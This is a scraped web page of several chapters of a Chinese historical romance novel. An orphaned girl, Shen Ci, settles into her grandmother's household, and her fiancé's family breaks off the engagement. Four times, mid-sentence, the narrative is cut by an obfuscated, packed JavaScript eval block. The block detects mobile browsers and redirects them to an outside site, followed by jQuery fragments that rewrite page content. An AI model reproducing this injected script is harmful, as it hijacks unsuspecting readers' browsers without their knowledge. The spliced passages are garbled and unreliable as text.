大嫂随大哥外放任上,母亲年事已高,府中一切都是裴氏操持,楚恒深知夫人辛苦,但沈家真不是个好去处,孩子若留在那处,他如何过意得去? “二爷说的哪里话?沈家若是这样的情况,自然不能让阿瓷回去。阿瓷也不是小孩子,照顾她也不会辛苦,她们姊妹几个关系一向不错,日后一起读书习字也是极好的。”裴氏笑着安慰道。 照着她和小姑的关系,她也不会亏待沈瓷,可这其中分寸又极难拿捏,裴氏的心中也是有些发愁的。 “我只怕照顾的不好。” 裴氏语气很轻,楚恒听得清清楚楚,便笑着开口安慰,“夫人不必担心,这些年,修筠就被夫人照顾的极好,大哥和大嫂写信回来,无不是感谢你的。” 裴氏心说这如何能一样? 楚修筠是长房长子,当年大伯外放任上,大嫂跟着一块儿过去,但孩子还小带去诸多不便,何况公公和婆婆也是诸多不舍,这才留在家中。 虽也是她帮着一块照顾,可人家有爹娘还有祖父祖母,教养一事也落不到她的身上来。 可是沈瓷的情况俨然不是如此。 她揉了揉额头,顺势靠在床榻之上,事已至此,也唯有走一步,看一步。 * 第二日的朝食,自然没能如楚思怡所愿出府去,她们俩担心沈瓷一直陪在她的身边,嘘寒问暖的,若非是府上的教学夫子来了,她们根本就不愿离开。 沈瓷烧了半宿,喝了药之后好了许多,只是病了一场身子虚弱,也没能那么快的好全,楚老夫人便勒令她好好养着,等身子好全后再跟着姐妹们一道去念书。 沈瓷自然答应。 只是心情还有一些沉重,明明昨日她觉得自己好了许多,怎么忽然就成了这样?她不愿意给外祖母她们添麻烦,但好似事与愿违。 楚老夫人看出沈瓷面露为难之色,刚想要说话,谁知这时候秋叶端着熬好的药上来,她就看着沈瓷面不改色的接过那碗药毫不犹豫的喝了下去。 楚老夫人本想命人去取蜜饯过来,这话还卡在喉咙里,就见沈瓷已经将药给喝完了,竟是连眉头都没有皱一下。 楚老夫人的心中有些不太好受。 让沈瓷好好歇着,便离开了东厢房。 康嬷嬷见楚老夫人脸色不大好看,心中有些忐忑,“老夫人这是怎么了?大夫说沈姑娘的风寒没有大碍,很快就会好起来的。” “大夫医术高明,沈丫头如今又肯乖乖配合,不日定会痊愈。”楚老夫人言不由衷道,没人会不喜欢听话乖巧的孩子,只是楚老夫人从前见到的外孙女,并非这般。 老夫人本想将话放在心中,但到底没能忍住,“从前她喝个药,都快要将府上给翻过天来,云娘怎么哄都无济于事,她外祖父连同我轮番哄骗都无济于事…如今却…莫不是因为云娘的事,她才变了性情?” 突逢变故,性情自然不会如从前那般。 康嬷嬷心中亦有计较,但说出的话全是劝慰,“老夫人倒不必多心,沈姑娘那时和大姑奶奶回来时才多大?几岁的孩子吃药自然是要人哄的,姑娘如今大了自然不会同从前那般。” “当真?” “奴婢骗您做什么?姑娘不小了,再过两年及笄后便要出阁,大姑奶奶自不会同从前那般宠溺着。”康嬷嬷这些话多数是猜测,可为了宽慰老夫人,便是三分真,她也得说成七八分真。 “奴婢知晓您担心沈姑娘,奴婢斗胆劝您一句,姑娘这个年纪,心思敏感,您越是在意,恐怕她越是不自在。” 康嬷嬷劝了几句,楚老夫人并非固执老太太,倒也是听得进去。 沈瓷不知祖母的心思,她只希望风寒可以快些好起来,便是睡不着也强迫自己好好的歇着。 楚修筠兄弟俩也还是念书的年纪,他们不似两个妹妹,可以在家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚修筠:“……” 是他想多了些,应当早知晓表哥是不会随他们一块去的。 楚修筠不再说话,专心的挑选起笔墨纸砚来,砚台实则大差不差,但楚修筠是想着要送给沈瓷的,自是耐心挑选,女子用的砚台大多精致小巧,楚修筠选来选去,最终选了一方胭脂色的砚台。 姑娘家会不会喜欢,楚修筠并不清楚。 但裴珩肯定是不喜欢的。 他盯着那方砚台看了许久,似乎是想要忍耐,却最终没忍住,“你那表妹,喜欢这个?” “…嗯。”楚修筠实则并不确定,他也不知为何要应下,大概是因为这砚台是自己选的,楚修筠不想被人质疑自己的品味。 裴珩完全不知表弟心中那些弯弯绕绕,问过一句就收回了目光。 他虽觉得那砚台颜色奇怪,倒也没多言,心想着也许姑娘家的品味便是如此。 用的人喜欢就好。 5. 第5章 金陵的冬日已经到来,早已经下起了雪,每日清晨醒来皆是白茫茫的一片,寒风刺骨,若是在外头走一圈,只怕脚指头都要冻掉。 福寿堂里早早的燃起了炭盆,里头温暖如春。 因为沈瓷还病着,楚老夫人便让康嬷嬷去采买红罗炭,“你再去瞧瞧,需不需要再添置几个汤婆子。我瞧着沈丫头这回来也没带什么衣裳,去库房选几匹布让老二媳妇费心给沈丫头做些衣裳。” “二夫人午时来过一回,只是那时您正在小憩,二夫人便先回了。” “您说的衣裳,二夫人早就已经将料子备下,说等过几日府上的裁缝过府裁新衣时,一道去做。” 楚老夫人默默的点了头,又吩咐康嬷嬷让厨房准备些易克化的食物,康嬷嬷一一答应下来。 * 沈瓷精神紧绷,睡的很不安稳,迷迷糊糊间听到有人在说话,她费力的睁开眼才知是表姐和表妹过来了。 二人坐在一旁练字,因为不想吵着沈瓷,就连说话的声音都很小。 但沈瓷已经睡不着,就挣扎着要起来。 这边的动静引起姐妹俩的注意,见她醒来后便将手中的笔给撂下,见到她的动作后她也没拦着,小心的扶她起来,顺势在她身后垫了个软枕,“阿瓷,你醒了?” 沈瓷默默的点了头。 楚映梦伸出手探了探她的额头,发现已经退烧,长长的松了一口气,“昨儿个,你可是快将我们俩给吓死了。” 沈瓷对昨晚的事没有一丁点印象,见表姐提及便下意识的开口道歉。 楚映梦随意的揉了揉沈瓷的头发,“傻乎乎的道歉做什么,你难道还能料到这些?” “要真的那么厉害岂不是未卜先知了?” 沈瓷听着表姐安慰的话,心中暖暖的,只是她有些无措,不知该说些什么才合适,遂而将目光移向一旁,岔开了话题,“表姐和思怡,是在写功课吗?” “今日先生教了些什么?”沈瓷的声音有些轻,她往那处看了看,眼眸中还有一些紧张,外祖母提及过让她和姐妹们一块上课,她的心中是有一些忐忑的。 “在练字,我们同夫子已经说好,这些日子先练字,待你身子痊愈后,再一同上课,这样就不会落下进度。”楚映梦随口解释起今日的事情,并没怎么在意。 又和沈瓷说起学堂上的趣事,“夫子说思怡的字要多练练,刚好可以趁着这段时间多用功些。” 沈瓷睡了大半日,早已经睡不住,这会儿见姐妹们在写字,便想要下地。 楚映梦还有些犹豫,“大夫说,你得好好歇着。” 沈瓷却很坚持,“我已经好了许多,若一直躺着等会儿可能就会睡过去,到了夜里,可能就睡不好。” 楚映梦一想也觉得很有道理,就没再拦着。 而后两人练字,沈瓷就坐在一旁给她们研磨,原本是两个人一块说话,如今就成了三人。 期间丫鬟又端上来一碗苦药,滚烫的药汁还冒着白烟,楚映梦和楚思怡离她很近,都闻到了那浓郁的药味。 二人颇有些不自在,只觉得舌根都开始泛苦。 就在这时候秋叶走了进来,手上还提着一个食盒,楚思怡认出来那是无双斋的食盒。 连忙出声问道,“这是哪里来的?” “回二姑娘的话,这是大公子和二公子送过来的。” 东西是交到秋叶手中的,楚思怡自然明白这些是给沈瓷的,也没上手去拆,只是将食盒递给沈瓷,眼巴巴的看着,“表姐快瞧瞧里头是什么,若是里头有蜜饯就好了,无双斋的蜜饯特别的甜…” “不过怎么有两个?” “大公子和二公子说,还有一盒里头是糕点,让姑娘尝尝可喜欢。” “大表哥和二表哥呢?”沈瓷看着眼前的食盒轻声问道。 “姑娘还病着,大公子和二公子便说不过来了,让姑娘好好的歇着。等姑娘大好再见也不迟。”秋叶飞快的回答道。 沈瓷点了点头,打发了秋叶出去,在表姐和表妹的注视下,将两个食盒全部都打开,一个食盒里是零嘴,蜜饯居多,占了满满半匣子。 还有一个食盒里全是糕点,琳琅满目的,好似每一种糕点都没法割舍下,故而全部都买上一份。 只是结合方才秋叶说的话,沈瓷明白表哥们大抵是不知哪一种好吃才会如此。 “哇,居然有这么多?”楚思怡惊讶的声音响起,眼巴巴的看着沈瓷怂恿道:“表姐,你快些尝尝,哪一个味道最好,回头让大哥二哥多买一些。” “你们尝一尝,我还要喝药。”沈瓷将食盒推到二人的面前,自己则端起那碗放凉的药一饮而尽,嘴里满是苦涩的味道。 楚思怡所有的思绪都被食盒里的糕点吸引,倒是楚映梦还记着沈瓷,递过来一小碟蜜饯,“尝一尝,可甜了。” “以前我和思怡病了不愿喝药时,二哥就会买蜜饯来哄我们。” 所以她们都知道,这蜜饯是楚景澄特意为沈瓷买的。 沈瓷拿起一颗蜜饯放到嘴里,这蜜饯果真如表姐所言,很甜很甜,一直甜到了她的心里。 她知道表哥和表姐表妹的心意,沈瓷心中很是感动,她只觉得眼眶周围热热的,下意识的闭上眼睛,不想让眼泪落下来。 之后的日子,沈瓷一直都在养病,大夫每三日过府诊一次脉,即便沈瓷一直说自己没有大碍,可楚老夫人和裴氏一直都不放心,非要让她好好的修养,等好全了再做别的事。 沈瓷只能应下。 过了整整十日,沈瓷才被允许一同去学堂上课,再去学堂的前一日,沈瓷收到了两位表哥给她准备的礼物。 是寻常的文房四宝。 但那是两人亲自准备的,于沈瓷而言是不一样的 ,即便那砚台的颜色有一些一言难尽,沈瓷还是欣喜的收下,“谢谢两位表哥。” 楚修筠见状,悄悄的松了一口气,那日瞧见表哥的模样,他心中委实忐忑,这会儿见沈瓷喜欢,心中别提有多高兴,在学堂见着裴珩也没了先前的心虚,说话时就连腰板都挺直了不少。 惹得裴珩莫名其妙。 全然不知楚修筠究竟发什么疯。 * 日子就这样平平淡淡的度过,沈瓷的心中很是满足,有一些伤痛虽没有那么快可以好起来,但她的每一天都过得很充实。 只可惜这世上有许多事,往往都是事与愿违。 那一日沈瓷和表姐表妹一同去学堂,散了学堂之后,楚思怡抱怨着夫子讲的课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635235|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些太难,便问两位姐姐可听明白了。 楚思怡本就是年纪最小的,听得一知半解再正常不过。 “大致听明白了些。”楚映梦飞快答道,转而问沈瓷,“阿瓷你呢?” 沈瓷听见这话怔了怔,夫子今日授了新课,沈瓷从前不怎么爱学习,在家中时候无论母亲怎么督促,她都是撒娇的躲过去。 如今没了纵容她的人,沈瓷也就没了撒娇心思,认真的听着夫子讲课,倒是明白了不少。 但这些话她却没说出口,“还有些没明白。” “那我们回去之后一块儿看看书,要是有什么不明白的就一块儿讨论,我们三个人一道,总能弄明白,若实在是搞不懂,明日可以去问夫子。” 姐妹三人说定后,便往福寿堂走去。 进了院子后沈瓷发现平素伺候外祖祖母的丫鬟在外头守着,不仅如此,舅母也在。 几人对视一眼,纷纷有些疑惑。 大丫鬟登枝瞧见沈瓷三人后,走过来哄她们去东厢房西先歇着。 “登枝姐姐,娘和祖母可是在商议什么要紧事?”楚映梦小声的问道。 登枝听闻这话,下意识的朝沈瓷看了一眼,而后又调转视线看向正屋,缓缓的点头。 就在此时,屋里传来楚老夫人愤怒的声音。 楚映梦还想再问,登枝却没再提,冲着她摇了摇头 楚映梦会意过来,带着两个妹妹走了,她心中虽好奇,但也是个有分寸的姑娘,沈瓷同样好奇,只是她不似表姐,还能大大方方的问出来。 她只将所有的好奇心全部都藏得牢牢的,一丁点儿都没有表露出来。 该她知道的,迟早会知晓,不该她知道的,好奇也没有用。 可到了晚间的时候,沈瓷还是知晓了原委,只因这件事情同她有关系。 成安伯府上门退亲来了! 沈瓷尚未及笄,可父母在世时,已经给她定下婚约,对方是成安伯府二公子,婚事是父亲定下的,沈瓷对此并不理解。 还是母亲将这一切都揉碎掰开,细细的同她讲明白。 成安伯府人口简单,长房一脉唯有两位公子,成安伯世子方方面面都很出众,次子也不吝啬,只是次子一直被长子的光芒掩盖,许多人都不曾注意到。 但沈毅夫妻二人选是成安伯次子,他们希望沈瓷嫁一个如意郎君,又不希望她太过辛苦,长房长媳看似风光无限,却也不是那么好当。 夫妻二人没有什么别的心愿,只希望沈瓷能够平安顺遂的过一生。 父母出事之后,沈瓷只沉浸在伤怀当中,全然忘记自己还有一个未婚夫。 却没曾想成安伯府竟上门来退亲,还来得这般着急。 “他们要退亲怎么来了外祖府上?不应当是去平江吗?” 她来金陵一事并未大肆宣扬,成安伯府的人若要寻她,只会去平江。 沈瓷的话让在场的几个长辈都沉默下来,成安伯府的人会寻来府上,是因为他们早就已经去过平江。 只是没找着人才会来金陵。 算了算时间,几乎是沈毅夫妇俩出事没有多久成安伯府就已经决定要退亲。 丝毫没有半点顾惜往日情谊。 实在是欺人太甚。 6. 第6章 福寿堂今日很热闹,除了尚未归家的楚老太爷之外,所有人都聚集于此。 原本事情是不会闹成这般的,至少商议这些事时,不会有孩子在场。 只是成安伯府今日上门时,刚好被楚修筠和楚景澄撞见,兄弟二人起初还很疑惑成安伯府的人为何会过府。 倒是楚修筠对此有所猜测:“姑姑和姑父先前给阿瓷定下了婚约,夫家正是成安伯府,许是他们知晓阿瓷在金陵,特意来问候的。” 这会子楚修筠想到自己的猜测,只觉得脸生疼。 偏偏成安伯府的人也不讲究,张口就要退亲,让兄弟二人听个正着。 人虽然是被裴氏给打发走了,但这件事情也捂不住,沈瓷早晚会知晓,故而才有了众人齐聚一堂的场景。 这件事并没有那么难以理解,就连年纪最小的楚思怡都能明白,这会儿坐在姐姐身边一言不发。 “今日成安伯府的人虽来过,但被你舅母给打发走,阿瓷,这件事情你是怎么想的?”楚老夫人看向沈瓷,想要问一问她的意见。 婚约是父母定下的,沈瓷和那成安伯次子,笼统只见过两回,因着她还没到成亲的年纪,两家也只是交换了庚帖,给了信物。 彼此之间并不熟悉。 成安伯府那么迫不及待的过来退亲其中缘由沈瓷也清楚。 权衡利弊是人之常情,只是太快了些,不免让人有些心寒。 “外祖母,既然成安伯府不愿继续婚约,阿瓷也不是那纠缠不休的人。”沈瓷表明了自己的态度,这婚约她是愿意退的。 “好。” 楚老夫人还没有说话,楚恒就一口答应下来,“这般落井下石的人家,本也不是什么好归宿,可这亲,不能是他们退,而是要由我们来退,不仅如此他们还得赔偿损失。” 楚恒去往平江时心里就攒着一肚子火,只是憋着无处发,如今这成安伯府好死不死的撞上来,楚恒如何会轻饶? “成安伯府真以为他们府上是什么香饽饽不成?昔日是他们腆着脸要结亲,如今倒好,出事了就要退亲,给他们脸了?!” 眼看楚恒越说越过分,裴氏只能拿话哄他,让他冷静些,毕竟孩子们还在。 “外祖母,舅舅,舅母,爹娘定下婚约时曾经给了成安伯府信物,是爹娘定情时候的玉佩。”沈瓷不见得多稀罕成安伯府的婚约,但那玉佩她是一定要拿回来的。 裴氏听到这里如何能不明白孩子的意思,她连忙点头,让沈瓷宽心,她一定会将信物原封不动的取回来。 楚家的长辈不过是要问清楚沈瓷的意思,要孩子的一个态度,如今沈瓷已经表态,他们心中也有了底,之后的事情就不适合他们听着,裴氏打发他们几个回去歇息。 楚修筠便带着弟弟妹妹们行礼离去。 等到孩子们全部走远,裴氏才埋怨的看了丈夫一眼,“你方才说的是什么话?怎么能当着阿瓷的面这么说?” “我难不成还说错了?就是那成安伯府拜高踩低,见妹妹妹夫人没了,不想认账,要知道当初定下婚约,可是成安伯府自己求来的。”楚恒气恼的开口。 心中越想越气,说话也是越来越没有边际,非要成安伯府付出代价。 裴氏实在是懒得听。 她担心婆婆被丈夫说动,赶忙开口劝说,“娘,这婚约要退,但是我们也得好好的退,要好好的处理,省的影响阿瓷名声,她日后还是要许人家的。” “你说的是…” “怎么?我楚恒的外甥女还能嫁不出去?”楚恒一听这话就很不乐意,分明是对方背信弃义,可他们怎得就要这般憋屈? 裴氏都懒得搭理他,生怕自己同丈夫吵起来,索性就不予理会。 从前有沈毅在,沈瓷要寻什么样的夫家都不成问题,但如今哪里是那么容易的? “娘都知道。”楚老夫人并非是非不分之人,如何不知儿媳妇的考虑。 此番看着楚恒也是诸多嫌弃,“内宅之事有你媳妇操心,不与你相干,莫要指手画脚的给她添麻烦。” 楚恒平白无故挨了一通数落,只觉得莫名其妙。 裴氏知晓丈夫是关心外甥女,只是这些事太过复杂,裴氏也很难跟他解释清楚原委,毕竟这天底下,从没有感同身受的这回事。 * 长辈们因为这件事头疼不已,沈瓷他们这边也不见得有多安静。 楚修筠尚且沉得住气,楚景澄就没有那么好的修养,在一旁骂骂咧咧的,他们同成安伯府没什么交情,但和成安伯次子在同一间书院念书,彼此也算熟悉。 这会儿气恼得很。 “林书易那小子,凭什么啊?” “莫非他不知道?”楚映梦开口猜测。 “他们府上来退亲,难不成他什么都不知晓?”楚景澄压根不相信。 “背信弃义毫无担当之辈,委实太过分!” 几人议论纷纷,反倒是沈瓷一脸的平静,甚至还劝表哥和表姐不要太生气,若为这些事气坏身子,不值当的。 “阿瓷,难道你就一点不生气?!”楚映梦睁大眼睛,只觉得沈瓷的脾气未免也太好了些。 沈瓷听见这话浅浅的笑了起来,“本就是父母定下的婚约,也只见过两回,我连人家长什么模样都记不太清楚,生气做什么?” 她的确不生气。 最不愿意失去的都也已经失去,她又有什么是不能失去的? 况且成安伯府,也的确不是良配。 没有了这桩婚约,也许是好事。 * 裴珩这些日子,觉得自家的两个表弟变得有些奇怪,原本和林书易没有什么交集,最近铆足了劲的要找人麻烦。 策论课上针锋相对,武术课上盯着一个人揍,即便两人做的十分隐蔽,但他还是看出端倪。 今日骑射课,众人都在换衣裳,这两人又不知跑到什么地方去了,裴珩原本是不想多管闲事的,毕竟他们俩也不是小孩子,用不着他时时刻刻的注意着。 偏偏这些日子他们做的实在太明显,让他不注意都不行。 思及此,裴珩出声唤身边的人,“长鸣。” “世子。” “去找找他们俩在何处,找到人后带来见我。”裴珩冷静开口,长鸣得了命令后悄无声息的离去。 裴珩慢条斯理的换好自己的衣裳,又等了好一会儿才取了弓箭出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635236|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 金陵已是冬日,天气渐渐严寒,唯有午后气温高升才让人觉得有些暖和,故而骑射课也安排在这个时候。 裴珩冷眼扫过校场,发现不仅楚修筠和楚景澄不在,就连林书易也不在。 长鸣的能耐不必赘述,不到一炷香的时间他就已经找着了人,带到了裴珩的面前,裴珩挥了挥手让人下去,转而看向两人,“做什么去了?” “换衣裳。”楚景澄有些心虚,随口开始扯谎,楚修筠想要拦着也已经来不及。 两人还穿着书院的院服,连骑射服都未更换,这理由显然是站不住脚的。 兄弟俩你看看我,我看看你,索性决定闭口不言,以期能够蒙混过关。 “究竟做什么去了?”裴珩的声音有些冷,兄弟俩有些心虚,低着头不吭声,裴珩倒也不惯着,只是问他二人究竟是自己说,还是让他去查。 二人皆知表哥说一不二,他身边的长鸣虽名义上是小厮,可从前是永宁候身边的侍卫首领,只是后来被永宁候派来负责保护裴珩。 能力非凡,他若是要调查什么事,也不过是时间的问题。 若是调查,总会走漏风声。 兄弟俩不想事情闹得太大,便一五一十的将事情说明白。 裴珩这才知晓缘由,倒也没动气,只是冷静问道,“方才想去做什么?” 他的语气很平静,但面前的两人都不敢不当回事。 楚景澄就差躲到哥哥身后。 最终还是楚修筠开口解释,“…想去教训林书易。” 裴珩起初还以为是自己听错了,见他们是认真的后,忍不住的摁住额头,“你们两个还真是…” 他都不知道说他们俩什么好,说他们不知轻重倒是知晓不能闹得太大,可若说他们懂得分寸,也做不出这种事来。 裴珩没看楚景澄,他年纪小一向冲动,做出什么事都不稀奇,他看的是楚修筠,“他冲动,你也跟着一块冲动?” 楚修筠低着头不发一言。 “你们也知道不能大肆宣扬?还这般明晃晃的找人麻烦?”裴珩摁住额头,真想好好的问一问这两人脑子里都在想些什么? “可是表哥,成安伯府也实在是欺人太甚,姑姑和姑父才过世多久,他们就这般行事,实在是让人不齿。”楚景澄一脸的愤恨。 楚修筠虽未明说,但显然也是那么想的。 真真是少年意气。 裴珩没见过两人的表妹,可见他们如此气愤,想来也知他们兄妹间关系极好。 许是因为听楚修筠和楚景澄说的多了,裴珩该知道的也都已经知晓,一个孤苦无依的小姑娘,没有父母教养,也没有族人庇佑。 就连原本的未婚夫都要落井下石。 实在是凄惨。 思及此裴珩也动了恻隐之心,“要教训林书易有的是法子,你们俩犯不着将自己也给搭上,这不是明摆着给人送把柄?” “退亲一事如今是成安伯府理亏,即便被人知晓人们也都会说是他们府上背信弃义,可你们若做的过了,届时都会算在沈姑娘的身上,你们可有想过?” 其中纠葛,千丝万缕。 不得不谨慎对待。 7. 第7章 两人虽然都挨了一顿数落,可谁都没有在意,也没放在心上,毕竟被表哥教训不丢人,从小到大他们也早就已经习惯。 反而因为表哥说要帮忙,两人激动了不少。 都说三个臭皮匠顶个诸葛亮,他们如今刚好三人,一定能成事,何况他们表哥可不是什么臭皮匠。 定能事半功倍。 楚景澄想的很美。 他想象着林书易被教训的抱头鼠串,忍不住偷偷笑起来,甚至还笑出了声。 惹得裴珩皱起眉头,“你傻乐什么?” 楚修筠戳了戳弟弟,楚景澄这才反应过来,飞快的摇头,“没,没什么。” 话虽如此,但楚景澄压根正经不了多久,还是按耐不住的凑到裴珩的身边,小声的问表哥有什么好主意。 那双眼睛里满是好奇,没有一点儿的设防,是全心全意的信任。 裴珩忽觉有些头疼,只能暗自庆幸,幸而日后忠毅伯爵府不需要交到楚景澄的手中。 他眼神一转,瞥见另一边站着的楚修筠,瞧着比之弟弟稳重些,倒也没有稳重多少… 裴珩按了按额头,心道这个也没有多少差别。 “还不快些去换衣裳,夫子一会儿就要过来,难不成你们想被夫子当众批评?”裴珩冷声骂道。 楚修筠和楚景澄不敢造次,飞快的跑远了,两人一边走还一边小声说着什么。 裴珩不过看了两眼就收回视线,唤长鸣到跟前,“去查一查成安伯府最近和谁府上走的比较近些,再去查查林书易最近在做什么。” 沈毅去世,沈家在朝中的确也没什么根基,但忠毅伯爵府尚未落魄,照着姑父亲自去平江将人接来的举动便能知晓,他们不会不管这个外甥女。 冒着得罪忠毅伯爵府的风险也要上门退亲,里头还不知有多少的事。 裴珩虽答应二人会帮忙,倒也没有太将这件事放在心上。 但另外两人依旧是沉不住气的,骑射课上依旧和林书易争锋相对,学堂里的学子们虽有些好奇,倒也没往跟前凑。 毕竟楚家两兄弟也没做出太出格的事情。 骑射和策论输了,除了承认自己技不如人,还能怎么辩解? * 沈瓷根本不知道家中的两位表哥为了替她出气,已经寻了林书易好几日的麻烦,退亲这件事情已经是板上钉钉。 她不知舅母和对方说了什么,成安伯府不仅退还信物,还奉上了一些赔偿,沈瓷将婚书退还,从此之后男婚女嫁再不相干。 沈瓷根本没将这件事放在心上,成安伯府给她带来的困扰,尚不如女红师傅带来的多些。 因为裴氏说她们三人再过几年就要及笄,及笄后便要定亲许人家,大齐有传统,嫁衣要新妇亲手绣上花样,寓意和和美美。 所以裴氏请来金陵城最负盛名的女红师傅,教她们刺绣。 楚映梦和楚思怡自幼跟着裴氏,耳濡目染多少是会一些的。 但这可苦了沈瓷,她在家中时根本就不肯学这些,母亲哄过,骂过,但她根本就不放在心上,撒娇耍赖的躲过去。 家中的女红师傅来了又去,都说无法胜任,楚慧云没了法子,只能亲自教她。 但也被气得够呛。 楚慧云说不动沈瓷,也早已经放弃这些,想着等婚期定下后,再请人来教她绣嫁衣,总能够应付过去。 是以沈瓷根本就不会这些。 如今从头学起,多少是有一些艰难。 从劈丝到分线,再到描红,绣图。 一点点的学起,本就是很考验耐心的一件事,但沈瓷却没有丝毫的不耐烦,认认真真的听,认认真真的学。 无论是功课还是女红,她都是学的最认真的那一个。 不过几日,她已经能绣好一朵小花,连师傅看了都忍不住的夸赞。 偶尔表姐和表妹也会抱怨功课太难,也想着偷懒,唯有沈瓷一丝不苟,坐在书桌前好好的看书。 惹得楚思怡赞叹不已,“表姐,我觉得你好厉害呀,这么无趣的事情你竟然能做那么久?!” 楚思怡的语气很是夸张,说起这些时眼睛睁的大大的,看起来可爱极了。 楚映梦深以为然,默默的点了头。 “阿瓷,你都不会累的吗?” “这些书看久了也觉得挺有意思。”沈瓷轻声答道。 她的话一直都很少,声音也是温温柔柔的,楚思怡原本还喜欢缠着姐姐,可自从表姐来了后,她纠缠的人就变成了表姐。 三人如今还住在楚老夫人的福寿堂。 长辈们都在商量着等到开春之后就让她们搬回原来的院子。 给沈瓷选的院子距离她们姐妹俩的住处都挺近,这是楚思怡很满意的一件事,“表姐,等到开春之后,我偷偷来你院子里住,好不好?” 除夕还未过,开春都还没有影子,楚思怡已经计划上日后的事儿。 沈瓷自然是答应的,“妹妹不觉得厌烦就好。” 楚映梦也不甘示弱,姐妹俩不出意外又起了争执,沈瓷唯有放下书两头哄着。 好不容易才将两人哄好,却又要回答她到底跟谁更好一些这种要命的问题。 “这…”沈瓷有些头疼的揉着额头,“表姐和思怡都好。” 可这样的答案,根本不足以让两人满意。 她们俩根本不会因为沈瓷端水就停止战争,时常吵吵闹闹,吵凶了就要沈瓷来哄。 如此一来,沈瓷当真没有什么时间胡思乱想。 因为有表姐和表妹的缘故,让沈瓷感觉到了平淡而温馨的幸福。 虽是漫漫冬日,可因为有姐妹作伴,倒也不会难捱。 今日亦是如此,下了课之后三人坐在一处描绘花样,教习师傅严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635237|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格,最近已经在教授另外的技法,让她们半月之后要交一对鸳鸯。 楚思怡坐在一旁唉声叹气,“还鸳鸯呢,我能绣出一双野鸭已是不错。” “野鸭的羽毛艳丽,也不见得比鸳鸯容易。”楚映梦也挺头疼。 师傅说了这是要做成扇面的,让她们马虎不得。 沈瓷面对这些也同样犯愁,可再怎么麻烦也只能去做,从描红到分线,均不能假手与他人,三人这些日子因为这绣帕的缘故,成日窝在屋子里。 倒是安静不少。 楚老夫人听说之后却只是笑,“家中这两个丫头,平素都是闲不住的,阿瓷来了后倒是文静不少,也不失为一件好事。” 康嬷嬷听后顺势搭腔几句,又趁着老夫人心情好,哄她吃了些药膳。 正说话间,裴氏迎着风雪来了福寿堂。 楚老夫人诧异的看了她一眼,“什么要紧事要你这时候跑来?外头还下着雪,差丫鬟们来一趟就是了。” “若是旁的事媳妇也就偷了这个懒,只是这件事还要娘来拿个主意。”裴氏说着话将手中的请柬递了过去。 是成安伯府送来的,说是得了一株罕见的腊梅,花开的极好,邀请她们过府去赏梅。 “这是做什么?”楚老夫人的声音中有些厌烦,像是弄不明白他们想要闹哪一出。 “许是示好。”裴氏冷静开口,成安伯府退亲一事根本也瞒不住,漫漫冬日最是寂寞,茶余饭后的谈资从不会少,虽说两家都说是和平解除婚约,但在这个节骨眼上,明眼人都看得出成安伯府打的什么主意。 最近也出了不少风言风语,成安伯府心虚,这才寒冬腊月的巴巴请她们过府去赏梅,也不过是想告诉旁人,他们退婚时并未闹得很难看。 可现如今还只是成安伯府的一厢情愿,须得他们配合才是。 “没完没了。” 楚老夫人暗骂一声,嫌成安伯府事多,“你办事,我一向是放心的,此事你拿主意吧。” “人家巴巴的来请,自是要去的。若不然岂不是交恶?前头的委屈也就白白受了,咱们家将这事体体面面的解决才是正经。” “既如此,就让裁缝明日过府替姑娘们裁些衣裳。阿瓷来了金陵后也没什么机会出去走走,就当是散散心。” 裴氏点头应下。 离了正屋后,又去东厢房走了一趟,同她们姊妹三个说起这些事。 裴氏是特意来找沈瓷的,担心她心中委屈。 “舅母不用担心,我不委屈。”沈瓷的声音依旧温温柔柔的,她看着面前的裴氏认真的说起自己的心里话,“舅母那么做一定有您的道理,母亲说过在闺中时,您一向拿她当亲妹妹对待,您这么做定也是为我好。” 裴氏听见这话,只觉得眼里热热的。 她将沈瓷揽在怀中,轻轻的拍了拍她的背,软声呢喃着安慰之语。 8. 第8章 成安伯府的帖子写的很有诚意,时间选的也很合适。让人找不出拒绝的理由,何况沈瓷也没觉得委屈,故而裴氏第二日便回了帖子,表明赴宴的意愿。 